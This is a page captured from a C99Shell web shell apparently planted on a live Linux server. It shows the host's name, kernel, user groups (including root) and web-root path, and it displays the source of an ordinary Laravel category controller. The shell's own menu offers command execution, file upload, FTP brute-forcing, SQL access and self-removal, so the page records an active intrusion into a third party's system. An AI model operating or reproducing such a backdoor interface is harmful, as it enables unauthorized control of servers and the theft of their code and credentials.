!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 29.39 GB of 117.98 GB (24.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CategoryController.php (9.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Models\Category;
use 
App\Http\Controllers\Controller;
use 
App\Models\CategoryDescription;
use 
App\Models\Setting;
use 
App\Traits\CustomFileTrait;
use 
GuzzleHttp\Client;
use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\File;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Facades\Validator;
use 
Illuminate\Support\Str;

class 
CategoryController extends Controller
{

    use 
CustomFileTrait;
    protected 
$path '';

    public function 
__construct()
    {
        
$this->path public_path(config('constant.file_path.category'));
    }

    public function 
index(Request $request) {
        
$name $request->get('name''');
        
$records Category::select('category_id','image','parent_id','sort_order','status')
            ->
with('categoryDescription')
            ->
when($name != '', function($q) use($name) {
                
$q->whereHas('categoryDescription',function($q) use($name){
                    
$q->where('name','like',"%$name%");
                });
        })->
whereDeletedAt(null)->orderBy('created_at','DESC')->paginate($this->defaultPaginate);

        return 
view('admin.category.index',['records' => $records]);
    }

    public function 
add() {
        
$parentCategory CategoryDescription::parentCategory();
        return 
view('admin.category.add',['parentCategory' => $parentCategory]);
    }

    public function 
store(Request $request) {

        
DB::beginTransaction();

        try{
            
$this->validate($request, [
                
'multilanguage' => ['required','max:255'],
                
'image' => ['required','mimes:jpeg,jpg,png']
            ]);

            
$this->createDirectory($this->path);
            
$category = new Category($request->only('sort_order','status','parent_id'));
            
$category->image $this->saveCustomFileAndGetImageName(request()->file('image'),$this->path);
            
$category->save();
            
cache()->forget('categories');
            
$categoryDescription =  new CategoryDescription();
            
$buildMultiLanguage $categoryDescription->buildMultiLang($category->category_id,$request->multilanguage);
            
$categoryDescription->upsert($buildMultiLanguage,['category_id','language_id','name','meta_keyword','meta_title','meta_description']);
            
cache()->forget('categories');
            
$category_name=isset($buildMultiLanguage[0]['name'])?$buildMultiLanguage[0]['name']:'';




            
$api_url=Setting::where('key''api_url')->first();
            
$api_token=Setting::where('key''api_token')->first();

            try {
                if (
$api_url && isset($api_url->value) && $api_token && isset($api_token->value)) {
                    
$client = new Client();

                    
$response $client->post($api_url->value '/api/category/store', [
                        
'form_params' => [
                            
'code' => $category->category_id,
                            
'name' => $category_name
                        
],
                        
'headers' => [
                            
'Authorization' => 'Bearer ' $api_token->value
                        
]
                    ]);

                    
$response $response->getBody()->getContents();
                    if (isset(
json_decode($response)->status) && json_decode($response)->status != 'success') {
                        throw new 
\Exception('Invalid Request');
                    }

                }
            } catch (
\Exception $ex) {
                throw new 
\Exception($ex->getMessage());
            }

            
DB::commit();
            return 
redirect(route('category'))->with('success','Category Created Successfully');
        }catch(
\Exception $ex){
            
DB::rollBack();
            return 
redirect(route('category'))->withErrors(['errors'=>$ex->getMessage()]);
        }
    }

    public function 
edit($id) {
        return 
view('admin.category.edit',[
            
'data' => Category::with('categoryMultipleDescription')->findOrFail($id),
            
'parentCategory' => CategoryDescription::parentCategory()
        ]);
    }

    public function 
update(Request $request,$id) {

        
$this->validate($request, [
            
'multilanguage' => ['required','max:255'],
            
'image' => ['mimes:jpeg,jpg,png']
        ]);

        
//Update Category

        
DB::beginTransaction();

        try{
            
$category Category::findOrFail($id);
//        $category = new Category($request->only('sort_order','status','parent_id'));
            
if($request->hasFile('image'))
            {
                
$currentCategoryImage $this->path.'/'.$category->image;
                if (
File::exists($currentCategoryImage)) {
                    
unlink($currentCategoryImage);
                }
                
$category->image $this->saveCustomFileAndGetImageName(request()->file('image'),$this->path);
            }

            
$category->fill($request->only('sort_order','status','parent_id'))->save();
            
cache()->forget('categories');
            
//Update Category Description
            
$categoryDescription =  new CategoryDescription();
            
$categoryDescription->where('category_id',$id)->delete();
            
$buildMultiLanguage $categoryDescription->buildMultiLang($id,$request->multilanguage);
            
$category_name=isset($buildMultiLanguage[0]['name'])?$buildMultiLanguage[0]['name']:'';
            
$categoryDescription->upsert($buildMultiLanguage,['category_id','language_id','name','meta_keyword','meta_title','meta_description']);
            
cache()->forget('categories');


            
$api_url=Setting::where('key''api_url')->first();
            
$api_token=Setting::where('key''api_token')->first();

            try {
                if (
$api_url && isset($api_url->value) && $api_token && isset($api_token->value)) {
                    
$client = new Client();

                    
$response $client->post($api_url->value '/api/category/update/' $category->category_id, [
                        
'form_params' => [
                            
'code' => $category->category_id,
                            
'name' => $category_name
                        
],
                        
'headers' => [
                            
'Authorization' => 'Bearer ' $api_token->value
                        
]
                    ]);

                    
$response $response->getBody()->getContents();

                    if (isset(
json_decode($response)->status) && json_decode($response)->status != 'success') {
                        throw new 
\Exception('Invalid Request');
                    }
                }
            } catch (
\Exception $ex) {
                throw new 
\Exception($ex->getMessage());
            }

            
DB::commit();
            return 
redirect(route('category'))->with('success','Category Updated Successfully');
        }catch(
\Exception $ex){
            
DB::rollBack();
            return 
redirect(route('category'))->withErrors(['errors'=>$ex->getMessage()]);
        }
    }

    public function 
delete($id) {

        
DB::beginTransaction();

        try{
            if(! 
$category Category::whereCategoryId($id)->first()) {
                return 
redirect()->back()->with('error''Something went wrong');
            }
            
$categoryIds = [];
            if (
$category->parent_id == 0) {
                
$categoryIds Category::where('parent_id',$id)->pluck('category_id')->toArray();
            }
            
array_push($categoryIds,$category->category_id);

            
$images Category::whereIn('category_id',$categoryIds)->pluck('image');

            foreach(
$images as $key => $value) {
                
$this->removeOldImage($value,$this->path);
            }

            
CategoryDescription::whereIn('category_id',$categoryIds)->delete();
            
cache()->forget('categories');
            
Category::whereIn('category_id',$categoryIds)->delete();
            
cache()->forget('categories');


            
//Section Inventory API
            
$api_url=Setting::where('key''api_url')->first();
            
$api_token=Setting::where('key''api_token')->first();
            try{
                if(
$api_url && isset($api_url->value) && $api_token && isset($api_token->value)) {
                    
$client = new Client();
                    
$response $client->get($api_url->value.'/api/category/delete/'.$id, [
                        
'headers' => [
                            
'Authorization' => 'Bearer '.$api_token->value
                        
]
                    ]);
                    
$response $response->getBody()->getContents();

                    if (isset(
json_decode($response)->status) && json_decode($response)->status != 'success') {
                        throw new 
\Exception('Invalid Request');
                    }
                }
            }catch(
\Exception $ex){
                
Log::info($ex);
                throw new 
\Exception($ex->getMessage());
            }
            
//END
            
DB::commit();
            return 
redirect(route('category'))->with('success''Category  Deleted Successfully');
        }catch (
\Exception $ex){
            
DB::rollBack();
            return 
redirect(route('category'))->withErrors(['errors'=>$ex->getMessage()]);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--